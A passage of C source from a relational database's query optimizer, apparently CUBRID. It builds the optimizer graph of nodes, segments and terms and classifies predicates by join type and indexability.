* Create a segment for each symbol in the entities symbol table.
*/
for (name = attr_list; name != NULL; name = name->next)
{
seg = qo_insert_segment (node, NULL, name, env, NULL);
if ((name->type_enum == PT_TYPE_SET) || (name->type_enum == PT_TYPE_MULTISET)
|| (name->type_enum == PT_TYPE_SEQUENCE))
{
QO_SEG_SET_VALUED (seg) = true;
}
else
{
QO_SEG_SET_VALUED (seg) = false;
}
if (name->info.name.meta_class == PT_META_ATTR)
{
QO_SEG_CLASS_ATTR (seg) = true;
}
else
{
QO_SEG_CLASS_ATTR (seg) = false;
}
/* this needs to check a flag Bill is going to add--CHECK!!!!! */
QO_SEG_SHARED_ATTR (seg) = false;
}
build_path:
if (!(status & QO_BUILD_PATH))
{
return node;
}
/* recurse and build the graph for path entities */
for (next_entity = entity->info.spec.path_entities; next_entity != NULL; next_entity = next_entity->next)
{
next_node = build_graph_for_entity (env, next_entity, (QO_BUILD_STATUS) (QO_BUILD_ENTITY | QO_BUILD_PATH));
/* for each path entity, fix the join segment */
QO_ASSERT (env, next_node != NULL);
/* make sure path entity contains the one and only path conjunct */
QO_ASSERT (env, next_entity->info.spec.path_conjuncts != NULL);
QO_ASSERT (env, next_entity->info.spec.path_conjuncts->next == NULL);
(void) qo_join_segment (node, next_node, next_entity->info.spec.path_conjuncts->info.expr.arg1, env);
}
/* create a term for the entity's path_conjunct if one exists */
if (entity->info.spec.path_conjuncts != NULL)
{
(void) qo_add_term (entity->info.spec.path_conjuncts, entity->info.spec.meta_class, env);
}
return node;
}
/*
* qo_add_node () - This routine adds a node to the optimizer environment
* for the entity
* return: QO_NODE *
* entity(in): entity to add node for
* env(in): optimizer environment
*/
static QO_NODE *
qo_add_node (PT_NODE * entity, QO_ENV * env)
{
QO_NODE *node = NULL;
QO_CLASS_INFO *info;
int i, n;
CLASS_STATS *stats;
QO_ASSERT (env, env->nnodes < env->Nnodes);
QO_ASSERT (env, entity != NULL);
QO_ASSERT (env, entity->node_type == PT_SPEC);
node = QO_ENV_NODE (env, env->nnodes);
/* fill in node */
QO_NODE_ENV (node) = env;
QO_NODE_ENTITY_SPEC (node) = entity;
QO_NODE_NAME (node) = entity->info.spec.range_var->info.name.original;
QO_NODE_IDX (node) = env->nnodes;
QO_NODE_SORT_LIMIT_CANDIDATE (node) = false;
env->nnodes++;
/*
* If derived table there will be no info. Also if derived table
* that is correlated to the current scope level, establish
* dependency links to all nodes that precede it in the scope. This
* is overkill, but it's easier than figuring out the exact
* information, and it's usually the same anyway.
*/
if (!PT_SPEC_IS_DERIVED (entity) && !PT_SPEC_IS_CTE (entity) && (info = qo_get_class_info (env, node)) != NULL)
{
QO_NODE_INFO (node) = info;
for (i = 0, n = info->n; i < n; i++)
{
stats = QO_GET_CLASS_STATS (&info->info[i]);
QO_ASSERT (env, stats != NULL);
if (entity->info.spec.meta_class == PT_META_CLASS)
{
/* is class OID reference spec for example: 'class x' SELECT class_meth(class x, x.i) FROM x, class x */
QO_NODE_NCARD (node) += 1;
QO_NODE_TCARD (node) += 1;
}
else
{
QO_NODE_NCARD (node) += stats->heap_num_objects;
QO_NODE_TCARD (node) += stats->heap_num_pages;
}
} /* for (i = ... ) */
}
else
{
QO_NODE_NCARD (node) = 5; /* just guess */
QO_NODE_TCARD (node) = 1; /* just guess */
/* recalculate derived table size */
if (PT_SPEC_IS_DERIVED (entity))
{
XASL_NODE *xasl;
switch (entity->info.spec.derived_table->node_type)
{
case PT_SELECT:
case PT_UNION:
case PT_DIFFERENCE:
case PT_INTERSECTION:
xasl = (XASL_NODE *) entity->info.spec.derived_table->info.query.xasl;
if (xasl)
{
QO_NODE_NCARD (node) = (unsigned long) xasl->cardinality;
QO_NODE_TCARD (node) =
(unsigned long) ((QO_NODE_NCARD (node) * (double) xasl->projected_size) / (double) IO_PAGESIZE);
if (QO_NODE_TCARD (node) == 0)
{
QO_NODE_TCARD (node) = 1;
}
}
break;
default:
break;
}
}
}
n = QO_NODE_IDX (node);
QO_NODE_SARGABLE (node) = true;
switch (QO_NODE_PT_JOIN_TYPE (node))
{
case PT_JOIN_LEFT_OUTER:
QO_NODE_SARGABLE (QO_ENV_NODE (env, n - 1)) = false;
break;
case PT_JOIN_RIGHT_OUTER:
QO_NODE_SARGABLE (node) = false;
break;
/* currently, not used */
/* case PT_JOIN_FULL_OUTER:
QO_NODE_SARGABLE(QO_ENV_NODE(env, n - 1)) = false;
QO_NODE_SARGABLE(node) = false;
break;
*/
default:
break;
}
return node;
}
/*
* lookup_node () - looks up node in the node array, returns NULL if not found
* return: Ptr to node in node table. If node is found, entity will be set
* to point to the corresponding entity spec in the parse tree.
* attr(in): class to look up
* env(in): optimizer environment
* entity(in): entity spec for the node
*/
QO_NODE *
lookup_node (PT_NODE * attr, QO_ENV * env, PT_NODE ** entity)
{
int i;
bool found = false;
PT_NODE *aux = attr;
if (pt_is_function_index_expr (env->parser, attr, false))
{
/*
* The node should be the same for each argument of expression =>
* once found should be returned
*/
QO_NODE *node = NULL;
if (attr->info.expr.op == PT_FUNCTION_HOLDER)
{
PT_NODE *func = attr->info.expr.arg1;
for (aux = func->info.function.arg_list; aux != NULL; aux = aux->next)
{
PT_NODE *save_aux = aux;
aux = pt_function_index_skip_expr (aux);
if (aux->node_type == PT_NAME)
{
node = lookup_node (aux, env, entity);
if (node == NULL)
{
return NULL;
}
else
{
return node;
}
}
aux = save_aux;
}
}
else
{
aux = pt_function_index_skip_expr (attr->info.expr.arg1);
if (aux)
{
if (aux->node_type == PT_NAME)
{
node = lookup_node (aux, env, entity);
if (node == NULL)
{
return NULL;
}
else
{
return node;
}
}
}
aux = pt_function_index_skip_expr (attr->info.expr.arg2);
if (aux)
{
if (aux->node_type == PT_NAME)
{
node = lookup_node (aux, env, entity);
if (node == NULL)
{
return NULL;
}
else
{
return node;
}
}
}
aux = pt_function_index_skip_expr (attr->info.expr.arg3);
if (aux)
{
if (aux->node_type == PT_NAME)
{
node = lookup_node (aux, env, entity);
if (node == NULL)
{
return NULL;
}
else
{
return node;
}
}
}
}
/* node is null at this point */
return node;
}
QO_ASSERT (env, aux->node_type == PT_NAME);
for (i = 0; (!found) && (i < env->nnodes); /* no increment step */ )
{
*entity = QO_NODE_ENTITY_SPEC (QO_ENV_NODE (env, i));
if ((*entity)->info.spec.id == aux->info.name.spec_id)
{
found = true;
}
else
{
i++;
}
}
return ((found) ? QO_ENV_NODE (env, i) : NULL);
}
/*
* qo_insert_segment () - inserts a segment into the optimizer environment
* return: QO_SEGMENT *
* head(in): head of the segment
* tail(in): tail of the segment
* node(in): pt_node that gave rise to this segment
* env(in): optimizer environment
* expr_str(in): function index expression (if needed - NULL for a normal or
* filter index
*/
static QO_SEGMENT *
qo_insert_segment (QO_NODE * head, QO_NODE * tail, PT_NODE * node, QO_ENV * env, const char *expr_str)
{
QO_SEGMENT *seg = NULL;
QO_ASSERT (env, head != NULL);
QO_ASSERT (env, env->nsegs < env->Nsegs);
seg = QO_ENV_SEG (env, env->nsegs);
/* fill in seg */
QO_SEG_PT_NODE (seg) = node;
QO_SEG_HEAD (seg) = head;
QO_SEG_TAIL (seg) = tail;
QO_SEG_IDX (seg) = env->nsegs;
/* add dummy name to segment example: dummy attr from view transfrom select count(*) from v select count(*) from
* (select {v}, 1 from t) v (v, 1) here, '1' is dummy attr set empty string to avoid core crash
*/
if (node)
{
QO_SEG_NAME (seg) =
node->info.name.original ? node->info.name.original : pt_append_string (QO_ENV_PARSER (env), NULL, "");
if (PT_IS_OID_NAME (node))
{
/* this is an oid segment */
QO_NODE_OID_SEG (head) = seg;
QO_SEG_INFO (seg) = NULL;
}
else if (!PT_IS_CLASSOID_NAME (node))
{
/* Ignore CLASSOIDs. They are generated by updates on the server and can be treated as any other projected
* column. We don't need to know anything else about this attr since it can not be used as an index or in
* any other interesting way.
*/
if (node->node_type == PT_NAME)
{
QO_SEG_INFO (seg) = qo_get_attr_info (env, seg);
}
else
{
QO_SEG_INFO (seg) = qo_get_attr_info_func_index (env, seg, expr_str);
}
}
}
bitset_add (&(QO_NODE_SEGS (head)), QO_SEG_IDX (seg));
env->nsegs++;
return seg;
}
/*
* qo_join_segment () - This routine will look for the segment and set its tail
* to the correct node
* return: QO_SEGMENT *
* head(in): head of join segment
* tail(in): tail of join segment
* name(in): name of join segment
* env(in): optimizer environment
*/
static QO_SEGMENT *
qo_join_segment (QO_NODE * head, QO_NODE * tail, PT_NODE * name, QO_ENV * env)
{
QO_SEGMENT *seg = NULL;
seg = lookup_seg (head, name, env);
QO_ASSERT (env, seg != NULL);
QO_SEG_TAIL (seg) = tail; /* may be redundant */
return seg;
}
/*
* lookup_seg () -
* return: ptr to segment in segment table, or NULL if the segment is not
* in the table
* head(in): head of the segment
* name(in): name of the segment
* env(in): optimizer environment
*/
QO_SEGMENT *
lookup_seg (QO_NODE * head, PT_NODE * name, QO_ENV * env)
{
int i;
bool found = false;
if (pt_is_function_index_expr (env->parser, name, false))
{
int k = -1;
/* we search through the segments that come from a function index. If one of these are matched by the PT_NODE,
* there is no need to search other segments, since they will never match
*/
const char *expr_str = parser_print_function_index_expr (QO_ENV_PARSER (env), name);
if (expr_str != NULL)
{
for (i = 0; (!found) && (i < env->nsegs); i++)
{
if (QO_SEG_FUNC_INDEX (QO_ENV_SEG (env, i)) == false)
{
continue;
}
/* match function index expression against the expression in the given query */
if (!intl_identifier_casecmp (QO_SEG_NAME (QO_ENV_SEG (env, i)), expr_str))
{
/* Also need to check whether the class alias names are matched. */
if (head != NULL
&& !intl_identifier_casecmp (head->class_name, QO_SEG_HEAD (QO_ENV_SEG (env, i))->class_name))
{
found = true;
k = i;
}
}
}
}
return ((found) ? QO_ENV_SEG (env, k) : NULL);
}
for (i = 0; (!found) && (i < env->nsegs); /* no increment step */ )
{
if (QO_SEG_HEAD (QO_ENV_SEG (env, i)) == head
&& pt_name_equal (QO_ENV_PARSER (env), QO_SEG_PT_NODE (QO_ENV_SEG (env, i)), name))
{
found = true;
}
else
{
i++;
}
}
return ((found) ? QO_ENV_SEG (env, i) : NULL);
}
/*
* qo_add_final_segment () -
* return: PT_NODE *
* parser(in): parser environment
* tree(in): tree to walk
* arg(in):
* continue_walk(in):
*
* Note: This walk "pre" function looks up the segment for each
* node in the list. If the node is a PT_NAME node, it can use it to
* find the final segment. If the node is a dot expression, the final
* segment will be the segment associated with the PT_NAME node that is
* arg2 of the dot expression.
*/
static PT_NODE *
qo_add_final_segment (PARSER_CONTEXT * parser, PT_NODE * tree, void *arg, int *continue_walk)
{
QO_ENV *env = *(QO_ENV **) arg;
*continue_walk = PT_CONTINUE_WALK;
if (tree->node_type == PT_NAME)
{
(void) set_seg_node (tree, env, &env->final_segs);
*continue_walk = PT_LIST_WALK;
}
else if ((tree->node_type == PT_DOT_))
{
(void) set_seg_node (tree->info.dot.arg2, env, &env->final_segs);
*continue_walk = PT_LIST_WALK;
}
return tree; /* don't alter tree structure */
}
/*
* qo_add_term () - Creates a new term in the env term table
* return: void
* conjunct(in): term to add
* term_type(in): is the term a path term?
* env(in): optimizer environment
*/
static QO_TERM *
qo_add_term (PT_NODE * conjunct, int term_type, QO_ENV * env)
{
QO_TERM *term;
QO_NODE *node;
QO_ASSERT (env, conjunct->next == NULL);
/* The conjuct could be PT_VALUE(0); (1) if an outer join condition was derived/transformed to the always-false ON
* condition when type checking, expression evaluation or query rewrite transformation. We should sustained it for
* correct outer join plan. It's different from ordinary WHERE condition. (2) Or is an always-false WHERE condition
*/
QO_ASSERT (env, conjunct->node_type == PT_EXPR || conjunct->node_type == PT_VALUE);
QO_ASSERT (env, env->nterms < env->Nterms);
term = QO_ENV_TERM (env, env->nterms);
/* fill in term */
QO_TERM_CLASS (term) = QO_TC_SARG; /* assume sarg until proven otherwise */
QO_TERM_JOIN_TYPE (term) = NO_JOIN;
QO_TERM_PT_EXPR (term) = conjunct;
QO_TERM_LOCATION (term) =
(conjunct->node_type == PT_EXPR ? conjunct->info.expr.location : conjunct->info.value.location);
QO_TERM_SELECTIVITY (term) = 0.0;
QO_TERM_RANK (term) = 0;
QO_TERM_FLAG (term) = 0; /* init */
QO_TERM_IDX (term) = env->nterms;
QO_TERM_MULTI_COL_SEGS (term) = NULL; /* init */
QO_TERM_MULTI_COL_CNT (term) = 0; /* init */
env->nterms++;
if (conjunct->node_type == PT_EXPR)
{
(void) qo_analyze_term (term, term_type);
}
else
{
/* conjunct->node_type == PT_VALUE */
if (!pt_false_search_condition (QO_ENV_PARSER (env), conjunct))
{
/* is an always-true WHERE condition */
QO_TERM_SELECTIVITY (term) = 1.0;
}
if (conjunct->info.value.location == 0)
{
/* is an always-false WHERE condition */
QO_TERM_CLASS (term) = QO_TC_OTHER; /* is dummy */
}
else
{
/* Assume 'conjunct->info.value.location' is same to QO_NODE idx */
node = QO_ENV_NODE (env, conjunct->info.value.location);
switch (QO_NODE_PT_JOIN_TYPE (node))
{
case PT_JOIN_INNER:
/* add always-false arg to each X, Y example: SELECT ... FROM X inner join Y on 0 <> 0; */
bitset_add (&(QO_TERM_NODES (term)), QO_NODE_IDX (node) - 1);
term = QO_ENV_TERM (env, env->nterms);
/* fill in term */
QO_TERM_CLASS (term) = QO_TC_SARG;
QO_TERM_JOIN_TYPE (term) = NO_JOIN;
QO_TERM_PT_EXPR (term) = conjunct;
QO_TERM_LOCATION (term) = conjunct->info.value.location;
if (!pt_false_search_condition (QO_ENV_PARSER (env), conjunct))
{
/* is an always-true WHERE condition */
QO_TERM_SELECTIVITY (term) = 1.0;
}
else
{
QO_TERM_SELECTIVITY (term) = 0.0;
}
QO_TERM_RANK (term) = 0;
QO_TERM_FLAG (term) = 0; /* init */
QO_TERM_IDX (term) = env->nterms;
env->nterms++;
bitset_add (&(QO_TERM_NODES (term)), QO_NODE_IDX (node));
break;
case PT_JOIN_LEFT_OUTER:
bitset_add (&(QO_TERM_NODES (term)), QO_NODE_IDX (node));
break;
case PT_JOIN_RIGHT_OUTER:
bitset_add (&(QO_TERM_NODES (term)), QO_NODE_IDX (node) - 1);
break;
case PT_JOIN_FULL_OUTER: /* not used */
/* I don't know what is to be done for full outer. */
break;
default:
/* this should not happen */
bitset_add (&(QO_TERM_NODES (term)), QO_NODE_IDX (node));
break;
}
} /* else */
}
return term;
}
/*
* qo_add_dep_term () -
* return: void
* derived_node(in): The node representing the dependent derived table
* depend_nodes(in):
* depend_segs(in):
* env(in): optimizer environment
*
* Note: Creates a new QO_TC_DEP_LINK term in the env term table, plus
* QO_TC_DEP_JOIN terms as necessary. QO_TC_DEP_LINK terms are
* used only to capture dependency information between a node
* representing a dependent derived table and a node on which
* that derived table depends.
*/
static void
qo_add_dep_term (QO_NODE * derived_node, BITSET * depend_nodes, BITSET * depend_segs, QO_ENV * env)
{
QO_TERM *term = NULL;
BITSET_ITERATOR bi;
int ni, di;
QO_ASSERT (env, env->nterms < env->Nterms);
term = QO_ENV_TERM (env, env->nterms);
bitset_assign (&(QO_NODE_DEP_SET (derived_node)), depend_nodes);
/* fill in term */
QO_TERM_CLASS (term) = QO_TC_DEP_LINK;
QO_TERM_PT_EXPR (term) = NULL;
QO_TERM_LOCATION (term) = 0;
QO_TERM_SELECTIVITY (term) = 1.0;
QO_TERM_RANK (term) = 0;
QO_TERM_FLAG (term) = 0;
QO_TERM_IDX (term) = env->nterms;
QO_TERM_JOIN_TYPE (term) = JOIN_INNER;
/*
* This is misleading if |depend_nodes| > 1, but the planner is the
* only party relying on this information, and it understands the
* rules of the game.
*/
QO_TERM_HEAD (term) = QO_ENV_NODE (env, bitset_first_member (depend_nodes));
QO_TERM_TAIL (term) = derived_node;
bitset_assign (&(QO_TERM_NODES (term)), depend_nodes);
bitset_add (&(QO_TERM_NODES (term)), QO_NODE_IDX (derived_node));
bitset_assign (&(QO_TERM_SEGS (term)), depend_segs);
/*
* Add this term to env->fake_terms so that we're not tempted to sarg
* it if a mergeable join term between these nodes is also present.
* This is part of the fix for PR 7314.
*/
bitset_add (&(env->fake_terms), QO_TERM_IDX (term));
env->nterms++;
ni = bitset_iterate (depend_nodes, &bi);
while ((di = bitset_next_member (&bi)) != -1)
{
QO_ASSERT (env, env->nterms < env->Nterms);
term = QO_ENV_TERM (env, env->nterms);
QO_TERM_CLASS (term) = QO_TC_DEP_JOIN;
QO_TERM_PT_EXPR (term) = NULL;
QO_TERM_SELECTIVITY (term) = 1.0;
QO_TERM_RANK (term) = 0;
QO_TERM_FLAG (term) = 0;
QO_TERM_IDX (term) = env->nterms;
bitset_add (&(QO_TERM_NODES (term)), ni);
bitset_add (&(QO_TERM_NODES (term)), di);
QO_TERM_HEAD (term) = QO_ENV_NODE (env, ni);
QO_TERM_TAIL (term) = QO_ENV_NODE (env, di);
QO_TERM_JOIN_TYPE (term) = JOIN_INNER;
/*
* Do NOT add these terms to env->fake_terms, because (unlike the
* DEP_LINK terms) there is no restriction on how they can be
* implemented (e.g., if there's a mergeable term available to
* join the two nodes, it's ok to use it).
*/
env->nterms++;
}
}
/*
* qo_add_dummy_join_term () - Make and add dummy join term if there's no explicit
* join term related with given two nodes
* return: void
* env(in): optimizer environment
* p_node(in):
* on_node(in):
*/
static QO_TERM *
qo_add_dummy_join_term (QO_ENV * env, QO_NODE * p_node, QO_NODE * on_node)
{
QO_TERM *term;
QO_ASSERT (env, env->nterms < env->Nterms);
QO_ASSERT (env, QO_NODE_IDX (p_node) >= 0);
QO_ASSERT (env, QO_NODE_IDX (p_node) + 1 == QO_NODE_IDX (on_node));
QO_ASSERT (env, QO_NODE_LOCATION (on_node) > 0);
term = QO_ENV_TERM (env, env->nterms);
/* fill in term */
QO_TERM_CLASS (term) = QO_TC_DUMMY_JOIN;
bitset_add (&(QO_TERM_NODES (term)), QO_NODE_IDX (p_node));
bitset_add (&(QO_TERM_NODES (term)), QO_NODE_IDX (on_node));
QO_TERM_HEAD (term) = p_node;
QO_TERM_TAIL (term) = on_node;
QO_TERM_PT_EXPR (term) = NULL;
QO_TERM_LOCATION (term) = QO_NODE_LOCATION (on_node);
QO_TERM_SELECTIVITY (term) = 1.0;
QO_TERM_RANK (term) = 0;
switch (QO_NODE_PT_JOIN_TYPE (on_node))
{
case PT_JOIN_INNER:
QO_TERM_JOIN_TYPE (term) = JOIN_INNER;
QO_ADD_RIGHT_DEP_SET (on_node, p_node);
break;
case PT_JOIN_LEFT_OUTER:
QO_TERM_JOIN_TYPE (term) = JOIN_LEFT;
QO_ADD_RIGHT_DEP_SET (on_node, p_node);
break;
case PT_JOIN_RIGHT_OUTER:
QO_TERM_JOIN_TYPE (term) = JOIN_RIGHT;
QO_ADD_RIGHT_DEP_SET (on_node, p_node);
QO_ADD_OUTER_DEP_SET (on_node, p_node);
QO_ADD_RIGHT_TO_OUTER (on_node, p_node);
break;
case PT_JOIN_FULL_OUTER: /* not used */
QO_TERM_JOIN_TYPE (term) = JOIN_OUTER;
break;
default:
/* this should not happen */
assert (false);
QO_TERM_JOIN_TYPE (term) = JOIN_INNER;
break;
}
QO_TERM_FLAG (term) = 0;
QO_TERM_IDX (term) = env->nterms;
env->nterms++;
QO_ASSERT (env, QO_TERM_CAN_USE_INDEX (term) == 0);
return term;
}
/*
* qo_analyze_term () - determine the selectivity and class of the given term
* return: void
* term(in): term to analyze
* term_type(in): predicate, path or selector path term
*/
static void
qo_analyze_term (QO_TERM * term, int term_type)
{
QO_ENV *env = NULL;
PARSER_CONTEXT *parser = NULL;
bool merge_applies;
bool lhs_indexable, rhs_indexable;
PT_NODE *pt_expr = NULL, *lhs_expr = NULL, *rhs_expr = NULL, *func_arg = NULL;
QO_NODE *head_node = NULL, *tail_node = NULL;
QO_SEGMENT *head_seg = NULL, *tail_seg = NULL;
BITSET lhs_segs, rhs_segs, lhs_nodes, rhs_nodes, multi_col_segs;
BITSET_ITERATOR iter;
PT_OP_TYPE op_type = PT_AND;
int i, n, t, segs, j;
env = QO_TERM_ENV (term);
QO_ASSERT (env, QO_TERM_LOCATION (term) >= 0);
parser = QO_ENV_PARSER (env);
pt_expr = QO_TERM_PT_EXPR (term);
merge_applies = true; /* until proven otherwise */
lhs_indexable = rhs_indexable = false; /* until proven as indexable */
lhs_expr = rhs_expr = NULL;
bitset_init (&lhs_segs, env);
bitset_init (&rhs_segs, env);
bitset_init (&lhs_nodes, env);
bitset_init (&rhs_nodes, env);
bitset_init (&multi_col_segs, env);
if (pt_expr->node_type != PT_EXPR)
{
goto wrapup;
}
/* only interesting in one predicate term; if 'term' has 'or_next', it was derived from OR term */
/* also cases that are too complicated and unusual to consider here: (cond and/or cond) is true/false (cond and/or
* cond) =/!= (cond and/or cond).
*/
if (pt_expr->or_next == NULL && (pt_expr->info.expr.arg1 == NULL || pt_expr->info.expr.arg1->next == NULL)
&& (pt_expr->info.expr.arg2 == NULL || pt_expr->info.expr.arg2->next == NULL))
{
QO_TERM_SET_FLAG (term, QO_TERM_SINGLE_PRED);
op_type = pt_expr->info.expr.op;
switch (op_type)
{
/* operators classified as lhs- and rhs-indexable */
case PT_EQ:
QO_TERM_SET_FLAG (term, QO_TERM_EQUAL_OP);
/* FALLTHRU */
case PT_LT:
case PT_LE:
case PT_GT:
case PT_GE:
/* temporary guess; RHS could be a indexable segment */
rhs_indexable = true;
/* FALLTHRU */
/* operators classified as rhs-indexable */
case PT_BETWEEN:
case PT_RANGE:
if (op_type == PT_RANGE)
{
assert (pt_expr->info.expr.arg2 != NULL);
if (pt_expr->info.expr.arg2)
{
PT_NODE *between_and;
between_and = pt_expr->info.expr.arg2;
if (between_and->or_next)
{
/* is RANGE (r1, r2, ...) */
QO_TERM_SET_FLAG (term, QO_TERM_RANGELIST);
}
for (; between_and; between_and = between_and->or_next)
{
if (between_and->info.expr.op != PT_BETWEEN_EQ_NA)
{
break;
}
}
if (between_and == NULL)
{
/* All ranges are EQ */
QO_TERM_SET_FLAG (term, QO_TERM_EQUAL_OP);
}
}
}
/* FALLTHRU */
case PT_IS_IN:
case PT_EQ_SOME:
/* temporary guess; LHS could be a indexable segment */
if (op_type == PT_IS_IN || op_type == PT_EQ_SOME)
{
/* 'RANGE LIST' flag is needed for 'IN' OP to avoid duplication of RANGE OP when index scan */
QO_TERM_SET_FLAG (term, QO_TERM_RANGELIST);
}
lhs_indexable = true;
/* FALLTHRU */
/* operators classified as not-indexable */
case PT_NOT_BETWEEN:
case PT_IS_NOT_IN:
case PT_GE_SOME:
case PT_GT_SOME:
case PT_LT_SOME:
case PT_LE_SOME:
case PT_EQ_ALL:
case PT_GE_ALL:
case PT_GT_ALL:
case PT_LT_ALL:
case PT_LE_ALL:
case PT_NE:
case PT_SETEQ:
case PT_SETNEQ:
case PT_SUPERSETEQ:
case PT_SUPERSET:
case PT_SUBSET:
case PT_SUBSETEQ:
case PT_NE_SOME:
case PT_NE_ALL:
case PT_LIKE:
case PT_NOT_LIKE:
case PT_RLIKE:
case PT_NOT_RLIKE:
case PT_RLIKE_BINARY:
case PT_NOT_RLIKE_BINARY:
case PT_NULLSAFE_EQ:
/* RHS of the expression */
rhs_expr = pt_expr->info.expr.arg2;
/* get segments from RHS of the expression */
qo_expr_segs (env, rhs_expr, &rhs_segs);
/* FALLTHRU */
case PT_IS_NULL:
case PT_IS_NOT_NULL:
case PT_EXISTS:
case PT_IS:
case PT_IS_NOT:
/* LHS of the expression */
lhs_expr = pt_expr->info.expr.arg1;
/* get segments from LHS of the expression */
qo_expr_segs (env, lhs_expr, &lhs_segs);
/* now break switch statement */
break;
case PT_OR:
QO_TERM_SET_FLAG (term, QO_TERM_OR_PRED);
/* FALLTHRU */
case PT_NOT:
case PT_XOR:
/* get segments from the expression itself */
qo_expr_segs (env, pt_expr, &lhs_segs);
break;
/* the other operators that can not be used as term; error case */
default:
/* stop processing */
QO_ABORT (env);
} /* switch (op_type) */
}
else
{ /* if (pt_expr->or_next == NULL) */
/* term that consist of more than one predicates; do same as PT_OR */
qo_expr_segs (env, pt_expr, &lhs_segs);
QO_TERM_SET_FLAG (term, QO_TERM_OR_PRED);
} /* if (pt_expr->or_next == NULL) */
/* get nodes from segments */
qo_seg_nodes (env, &lhs_segs, &lhs_nodes);
qo_seg_nodes (env, &rhs_segs, &rhs_nodes);
/* do LHS and RHS of the term belong to the different node? */
if (!bitset_intersects (&lhs_nodes, &rhs_nodes))
{
i = 0; /* idx of term->index_seg[] array; it shall be 0 or 1 */
/* There terms look like they might be candidates for implementation via indexes. Make sure that they really are
* candidates. IMPORTANT: this is not the final say, since we don't know at this point whether indexes actually
* exist or not. We won't know that until a later phase (qo_discover_indexes()). Right now we're just determining
* whether these terms qualify structurally.
*/
/* examine if LHS is indexable or not? */
/* is LHS a type of name(attribute) of local database */
if (lhs_indexable)
{
if (is_local_name (env, lhs_expr))
{
if (lhs_expr->type_enum == PT_TYPE_ENUMERATION)
{
/* lhs is indexable only if this is an equality comparison */
op_type = pt_expr->info.expr.op;
switch (op_type)
{
case PT_EQ:
case PT_IS_IN:
case PT_EQ_SOME:
case PT_NULLSAFE_EQ:
break;
case PT_RANGE:
if (!QO_TERM_IS_FLAGED (term, QO_TERM_EQUAL_OP))
{
lhs_indexable = false;
}
break;
default:
lhs_indexable = false;
break;
}
}
else
{
lhs_indexable = true;
}
}
else if (pt_is_multi_col_term (lhs_expr))
{
/* multi column case (attr,attr,...) is indexable for RANGE, EQ operation */
func_arg = lhs_expr->info.function.arg_list;
op_type = pt_expr->info.expr.op;
switch (op_type)
{
case PT_EQ:
if (!PT_IS_CONST (rhs_expr) || !QO_TERM_IS_FLAGED (term, QO_TERM_EQUAL_OP))
{
lhs_indexable = false;
}
break;
case PT_RANGE:
if (!QO_TERM_IS_FLAGED (term, QO_TERM_EQUAL_OP))
{
lhs_indexable = false;
}
break;
default:
lhs_indexable = false;
break;
}
if (lhs_indexable)
{
segs = 0;
bool is_find_local_name = false;
for ( /* none */ ; func_arg; func_arg = func_arg->next)
{
if (is_local_name (env, func_arg))
{
if (pt_is_function_index_expr (parser, func_arg, false)
&& !pt_is_function_index_expression (func_arg))
{
/* check if expr can be function index expr && expr is function index expr */
lhs_indexable = false;
break;
}
is_find_local_name = true;
}
else if (pt_is_const (func_arg))
{
/* multi_col_term having constant value can be indexable */
QO_TERM_SET_FLAG (term, QO_TERM_MULTI_COLL_CONST);
}
else
{
lhs_indexable = false;
break;
}
segs++;
}
if (!is_find_local_name)
{
lhs_indexable = false;
}
}
if (lhs_indexable)
{
QO_TERM_SET_FLAG (term, QO_TERM_MULTI_COLL_PRED);
QO_TERM_SET_FLAG (term, QO_TERM_RANGELIST);
QO_TERM_MULTI_COL_CNT (term) = segs;
QO_TERM_MULTI_COL_SEGS (term) = (int *) malloc (sizeof (int) * segs);
/* set multi col segs e.g.) (b,a,c) in .. multi_col_segs[0] = b's segnum, [1] = a .. */
func_arg = lhs_expr->info.function.arg_list;
for (j = 0; func_arg; func_arg = func_arg->next)
{
bitset_init (&multi_col_segs, env);
qo_expr_segs (env, func_arg, &multi_col_segs);
term->multi_col_segs[j++] = bitset_first_member (&multi_col_segs);
}
}
}
else
{
lhs_indexable = false;
}
}
if (lhs_indexable
&& (pt_is_function_index_expr (parser, lhs_expr, false)
|| (lhs_expr && lhs_expr->info.expr.op == PT_PRIOR
&& pt_is_function_index_expr (parser, lhs_expr->info.expr.arg1, false))))
{
/* we should be dealing with a function indexable expression, so we must check if a segment has been
* associated with it
*/
n = bitset_first_member (&lhs_segs);
if ((n == -1) || (QO_SEG_FUNC_INDEX (QO_ENV_SEG (env, n)) == false))
{
lhs_indexable = false;
}
}
if (lhs_indexable && rhs_expr->next == NULL)
{
if (op_type == PT_IS_IN || op_type == PT_EQ_SOME)
{
/* We have to be careful with this case because "i IN (SELECT ...)" has a special meaning: in this case
* the select is treated as UNBOX_AS_TABLE instead of the usual UNBOX_AS_VALUE, and we can't use an index
* even if we want to (because of an XASL deficiency).Because pt_is_pseudo_const() wants to believe that
* subqueries are pseudo-constants, we have to check for that condition outside of pt_is_pseudo_const().
*/
switch (rhs_expr->node_type)
{
case PT_SELECT:
case PT_UNION:
case PT_DIFFERENCE:
case PT_INTERSECTION:
lhs_indexable = false;
break;
case PT_NAME:
if (rhs_expr->info.name.meta_class != PT_PARAMETER && pt_is_set_type (rhs_expr))
{
lhs_indexable = false;
}
break;
case PT_DOT_:
if (pt_is_set_type (rhs_expr))
{
lhs_indexable = false;
}
break;
case PT_VALUE:
if (op_type == PT_EQ_SOME && rhs_expr->info.value.db_value_is_initialized
&& db_value_type_is_collection (&(rhs_expr->info.value.db_value)))
{
/* if we have the = some{} operator check its size */
DB_COLLECTION *db_collectionp = db_get_collection (&(rhs_expr->info.value.db_value));
if (db_col_size (db_collectionp) == 0)
{
lhs_indexable = false;
}
}
lhs_indexable = lhs_indexable && pt_is_pseudo_const (rhs_expr);
break;
default:
lhs_indexable = lhs_indexable && pt_is_pseudo_const (rhs_expr);
}
}
else
{
/* is LHS attribute and is RHS constant value ? */
lhs_indexable = lhs_indexable && pt_is_pseudo_const (rhs_expr);
}
}
/* check LHS and RHS for collations that invalidate the term's use in a key range/filter; if one of the expr
* sides contains such a collation then the whole term is not indexable */
if (lhs_indexable || rhs_indexable)
{
int has_nis_coll = 0;
(void) parser_walk_tree (parser, lhs_expr, pt_has_non_idx_sarg_coll_pre, &has_nis_coll, NULL, NULL);
(void) parser_walk_tree (parser, rhs_expr, pt_has_non_idx_sarg_coll_pre, &has_nis_coll, NULL, NULL);
if (has_nis_coll)
{
QO_TERM_SET_FLAG (term, QO_TERM_NON_IDX_SARG_COLL);
lhs_indexable = false;
rhs_indexable = false;
}
}
if (lhs_indexable)
{
n = bitset_first_member (&lhs_segs);
if (n != -1)
{
/* record in the term that it has indexable segment as LHS */
term->index_seg[i++] = QO_ENV_SEG (env, n);
}
}
